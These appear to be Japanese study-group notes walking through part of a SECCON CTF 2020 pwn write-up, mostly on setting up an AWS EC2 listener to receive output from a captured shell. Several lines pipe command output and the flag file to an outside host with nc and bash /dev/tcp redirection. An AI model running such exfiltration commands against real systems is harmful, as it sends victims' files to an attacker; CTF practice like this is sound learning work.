# 10/18 低レイヤ 勉強会 --- ## 月例報告会 10/29 木 18:00~ 10日前です。そろそろ少しずつ書き始めるといいかも... ## Write-Up Pwarmup [SECCCON CTF 2020 Pwn] その2 前回はシェルを奪うところまでやりました。 今日はいよいよフラグを奪取します。 ### シェルの出力が出ない 基本はシェルにアクセスしたら、コマンドを打てば自分のマシンでやるように出力が出てきます。 ただ、問題によっては出力が出てこないものもあります。 ### 対策(※コマンド訂正しました) 打ちたいコマンドとncコマンドを組み合わせて「ネットワークに流し」ます。 ```test.sh ls -al | nc [実機など、出力を受け取るマシンのIPアドレス] 1234 ``` ネットワークに流すと、自分たちのマシンで出力を受け取れるようになります。 ```test.sh $ nc -l 1234 ``` ちなみに、CTF サーバー側にncコマンドが入ってない場合もあります。 出力が全然ないなどでちょっとでも不審に感じたら bashの標準機能 **/dev/tcp/** を使ってみましょう。 ```test.sh $ bash $ ls -al > /dev/tcp/[出力を受け取るマシンのIPアドレス]/1234 ``` あとは ```test.sh $ cat [flagのファイル名].txt > /dev/tcp/[出力を受け取るマシンのIPアドレス]/1234 ``` で出力できます。 ただ、出力を受け取るマシンを用意するのが想像以上に厄介です。 ### 出力を受け取るための環境 ちなみに、ルーターのセキュリティ設定やPC上のファイアウォールの関係もあり、ipconfig, ip addr といったコマンドで取得できるipアドレスを使っても、実機に情報を届けられません。 グローバル/ローカルIPアドレス、ポートフォワーディングについてなどの知識があれば上記の問題を解決できますが、 - あいにく自分にまだそのような知識がないこと - 環境が千差万別 (アパート住みで、アパートのルールでネットワーク設定があまり自由にいじれない...等)なこと - 試行錯誤している中で他人を危険にさらす場合がある (実家暮らしで家族とネットを共用しているが、そのルーターの設定をいじって家ごと危険にさらす) といった理由で、環境が独立しているクラウドマシンを導入してみます。 (Virtualbox,VMware等の仮想マシンは結局実機のネットワークを使うため上記の問題を解決できない) ### AWS導入 #### AWS アカウントを作成するには https://portal.aws.amazon.com/billing/signup を開きます。 オンラインの手順に従います。 サインアップ手順の一環として、通話呼び出しを受け取り、電話のキーパッドを用いて確認コードを入力することが求められます。 #### AWSの初期設定 AWSコンソールに入ったら、EC2 > インスタンス 画面に遷移します。 何も考えずに インスタンスの作成 -> Amazon Linux 2(無料利用枠の対象 かつ Linux なら何でも) > t2.micro(無料利用枠の対象ならなんでも) を選択肢、 確認と作成 をします。 確認画面では、そのまま何も変更せず起動を選択。もしキーペアを持っていない場合はここで作成しておきます。 起動したら、また インスタンス の画面から起動したinstanceを確認します。 #### ポート番号の設定 ここで、セキュリティグループの設定をします。 CTF PWN用に、1234 ポートを使うものとします(ポート番号は任意だが、予約済みの番号などもあるので1234を推奨)。 先ほど作成したインスタンスを選択 > セキュリティグループ > 対象のセキュリティグループのリンクをクリック ![](https://i.imgur.com/oB0kC1E.png) 対象のセキュリティグループのインバウンドを見てみると、初期状態ではSSHの22番ポートのみ開いています。ここに任意のIPで1234番ポート通信を追加します。 #### インバウンドルールを編集 カスタムTCP, プロトコル=TCP, ポート範囲=1234, ソース=任意の場所 これで保存します。 ![](https://i.imgur.com/9sBdaUR.png) (上記のように登録すると カスタムTCP, プロトコル=TCP, ポート範囲=1234, ソース=カスタム 0.0.0.0/0 カスタムTCP, プロトコル=TCP, ポート範囲=1234, ソース=カスタム ::/0 のように設定が分割して登録されます。意味は同じです。 なんなら最初からこのように登録しても構いません) #### コンソールに入る Amazon EC2 コンソールからブラウザベースのクライアントを使用してインスタンスに接続するには https://console.aws.amazon.com/ec2/ で Amazon EC2 コンソールを開きます。 ナビゲーションペインで、[インスタンス] を選択します。 インスタンスを選択し、[接続] を選択します。 [EC2 Instance Connect (ブラウザベースの SSH 接続)]、[接続] の順に選択します。 ### それでは解いてみよう 自分のマシンでシェルを奪う~操作するところまではやって大丈夫です。 あとは、出力を送り付ける先をAWSのPublic IPにしてやる&AWS上でncコマンドを使って待機すれば、上記の手順でFLAGが手に入ります。 ![](https://i.imgur.com/w7msoSy.png) ### ncコマンドにて Address already in use というエラーが出る場合 ```a.sh $ lsof -i:ポートNo # で出てくる4桁の番号(PID)を使って $ kill -9 [PID] # でいったんncのプロセスをkillします。 ``` ### 念のため... ![](https://i.imgur.com/NHTM8nd.png) 一応、使い終わったらインスタンスを選択して「アクション」から停止をお願いします。 無料利用枠の範囲なので多分起動しっぱなしでも料金を取られることはないかもしれませんが... ## 予告 来週はその1-2のハンズオンです - gdb-peda(peda拡張はgithub) - netcat(apt) - python3(apt) - python3-pip(apt) - python-pip(apt) - pwntools(pip3 install) - AWS 仮想マシン をそろえましょう。 ```a.sh sudo apt -y update sudo apt -y install gdb python3 python3-pip netcat git ruby build-essential sudo pip3 install pwntools sudo gem install one_gadget git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit # コマンドラインツールはこれで一発ですが、AWSは少し(やる側も説明する側も)複雑なので迷わず質問ください ```